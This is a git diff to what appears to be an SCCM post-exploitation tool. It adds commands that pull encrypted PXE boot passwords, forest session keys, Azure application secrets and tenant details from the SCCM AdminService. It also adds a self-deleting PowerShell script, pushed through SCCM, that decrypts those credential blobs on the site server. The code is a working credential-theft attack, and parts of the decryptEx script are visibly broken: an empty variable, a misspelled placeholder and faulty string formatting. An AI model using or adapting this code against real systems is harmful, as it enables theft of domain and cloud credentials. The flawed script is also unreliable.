diff --git a/changelog.md b/changelog.md index dd8739d..abf3d35 100644 --- a/changelog.md +++ b/changelog.md @@ -11,6 +11,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Admin Module - Added `get_creds` command to pull credential blobs from SCCM + - Added `get_azurecreds` command to pull Azure co-management application blobs + - Added `get_azuretenant` commant to pull Azure tenant info + - Added `get_pxepassword` command to pull PXE boot blobs if configured - Added `decrypt` command to decrypt passed credential blob - You've got to be "interactive" with the SCCM primary site server for decryption to work - This means the site server must be a client diff --git a/lib/attacks/cmpivot.py b/lib/attacks/cmpivot.py index b8b3a2f..8ff3b08 100644 --- a/lib/attacks/cmpivot.py +++ b/lib/attacks/cmpivot.py @@ -21,6 +21,7 @@ class SHELL(cmd2.Cmd): PE = "PostEx Commands" DB = "Database Commands" IN = "Interface Commands" + CE = "Credential Extraction Commands" hidden = ["alias", "help", "macro", "run_pyscript", "set", "shortcuts", "edit", "history", "quit", "run_script", "shell", "_relative_run_script", "eof"] def __init__(self, username, password, target, logs_dir, auser, apassword): @@ -324,13 +325,42 @@ def do_show_consoleconnections(self, arg): logger.info(f"Tasked SCCM to list all SCCM console connections") self.admin.show_consoleconnections() - @cmd2.with_category(PE) + +# ############ +# Creds Extraction +# ############ + + @cmd2.with_category(CE) def do_get_creds(self, arg): """Extract encrypted cred blobs get_creds""" logger.info("Tasked SCCM to extract all encrypted credential blobs") self.admin.get_creds() - @cmd2.with_category(PE) + @cmd2.with_category(CE) + def do_get_pxepassword(self, arg): + """Extract pxeboot encrypted cred blobs get_pxepassword""" + logger.info("Tasked SCCM to extract PXE boot password credential blobs") + self.admin.get_pxepass() + + @cmd2.with_category(CE) + def do_get_forestkey(self, arg): + """Extract forest discovery session key blobs get_forestkey""" + logger.info("Tasked SCCM to extract forest session key blobs") + self.admin.get_forestkey() + + @cmd2.with_category(CE) + def do_get_azurecreds(self, arg): + """Extract Azure co management encrypted cred blobs get_azurecreds""" + logger.info("Tasked SCCM to extract Azure app credential blobs") + self.admin.get_azurecreds() + + @cmd2.with_category(CE) + def do_get_azuretenant(self, arg): + """Get Azure Tenant INfo get_azuretenant""" + logger.info("Tasked SCCM to extract tenant info. get_azuretenant") + self.admin.get_azuretenant() + + @cmd2.with_category(CE) def do_decrypt(self, arg): """Decrypt provided encrypted blob decrypt""" logger.info("Tasked SCCM to decrypt credential blob") @@ -338,6 +368,17 @@ def do_decrypt(self, arg): blob = option[0] self.script.decrypt(blob=blob, device=self.device) + @cmd2.with_category(CE) + def do_decryptEx(self, arg): + """Decrypt provided encrypted blob with session key decryptEx""" + logger.info("Tasked SCCM to decrypt credential with session key blob") + option = arg.split(' ') + skey = option[0] + blob = option[1] + #if len(skey) != + self.script.decryptEx(session_key=skey,encrypted_blob=blob,device=self.device) + + class CONSOLE: diff --git a/lib/scripts/add_admin.py b/lib/scripts/add_admin.py index 834ecd3..aa67dac 100644 --- a/lib/scripts/add_admin.py +++ b/lib/scripts/add_admin.py @@ -198,20 +198,72 @@ def get_creds(self): except Exception as e: print(e) - #wip + def get_pxepass(self): - url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SysResUse$select=UserName,Reserved2" + url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SCProperty?$filter=PropertyName eq 'PXEPassword'&$select=PropertyName,Value1" try: r = requests.get(f"{url}", auth=HttpNtlmAuth(self.username, self.password), verify=False,headers=self.headers) if r.status_code == 200: data = r.json() - logger.info(self.jprint(data)) + print((self.jprint(data))) return else: logger.info("[*] Something went wrong") logger.info(r.text) logger.info(r.status_code) except Exception as e: - print(e) + print(e) + + def get_forestkey(self): + url = f"https://{self.target_ip}/AdminService/wmi/SMS_SCI_SCProperty?$filter=startswith(PropertyName, 'GlobalAccount')&$select=Value1,Value2" + try: + r = requests.get(f"{url}", + auth=HttpNtlmAuth(self.username, self.password), + verify=False,headers=self.headers) + if r.status_code == 200: + data = r.json() + print((self.jprint(data))) + return + else: + logger.info("[*] Something went wrong") + logger.info(r.text) + logger.info(r.status_code) + except Exception as e: + print(e) + + + def get_azurecreds(self): + url = f"https://{self.target_ip}/AdminService/wmi/SMS_AAD_Application_Ex?$select=ClientID,SecretKey" + try: + r = requests.get(f"{url}", + auth=HttpNtlmAuth(self.username, self.password), + verify=False,headers=self.headers) + if r.status_code == 200: + data = r.json() + print((self.jprint(data))) + return + else: + logger.info("[*] Something went wrong") + logger.info(r.text) + logger.info(r.status_code) + except Exception as e: + print(e) + + def get_azuretenant(self): + url = f"https://{self.target_ip}/AdminService/wmi/SMS_AAD_Tenant_Ex?$select=Name,TenantID" + try: + r = requests.get(f"{url}", + auth=HttpNtlmAuth(self.username, self.password), + verify=False,headers=self.headers) + if r.status_code == 200: + data = r.json() + print((self.jprint(data))) + return + else: + logger.info("[*] Something went wrong") + logger.info(r.text) + logger.info(r.status_code) + except Exception as e: + print(e) diff --git a/lib/scripts/runscript.py b/lib/scripts/runscript.py index 40c2e29..dfa0c36 100644 --- a/lib/scripts/runscript.py +++ b/lib/scripts/runscript.py @@ -270,7 +270,45 @@ def decrypt(self, blob, device): script_body = base64.b64encode(byte_array).decode('utf-8') self.device = device self.add_script(script_body) - + + def decryptEx(self, device, session_key, encrypted_blob): + script = ''' +$sessionKey = +$encryptedPwd = '{encrypted_blog}' +$dllPath = "C:\Program Files\Microsoft Configuration Manager\bin\X64\microsoft.configurationmanager.commonbase.dll" +Add-Type -Path $dllPath +$sessionKeyBytes = [byte[]]::new($sessionKey.Length / 2) +$encryptedBytes = [byte[]]::new($encryptedPwd.Length / 2) +for($i = 0; $i -lt $sessionKey.Length; $i += 2) { +$sessionKeyBytes[$i/2] = [Convert]::ToByte($sessionKey.Substring($i, 2), 16) +} +for($i = 0; $i -lt $encryptedPwd.Length; $i += 2) { +$encryptedBytes[$i/2] = [Convert]::ToByte($encryptedPwd.Substring($i, 2), 16) +} +$encUtil = [Microsoft.ConfigurationManager.CommonBase.EncryptionUtilities]::Instance +$decrypted = $encUtil.DecryptWithGeneratedSessionKey($sessionKeyBytes, $encryptedBytes) +if ($decrypted -ne $null) { +$length = 0 +foreach($byte in $decrypted) { +if ($byte -eq 0 -or $byte -lt 32 -or $byte -gt 126) { +break +} +$length++ +} +$decryptedString = [System.Text.Encoding]::ASCII.GetString($decrypted, 0, $length) +Write-Host $decryptedString" +} +function Do-Delete { + Del $MyInvocation.PSCommandPath +} +Do-Delete + '''%session_key %encrypted_blob + bom = codecs.BOM_UTF16_LE + byte_array = bom + script.encode('utf-16-le') + script_body = base64.b64encode(byte_array).decode('utf-8') + self.device = device + self.add_script(script_body) + def printlog(self, result): filename = (f'{self.logs_dir}/console.log')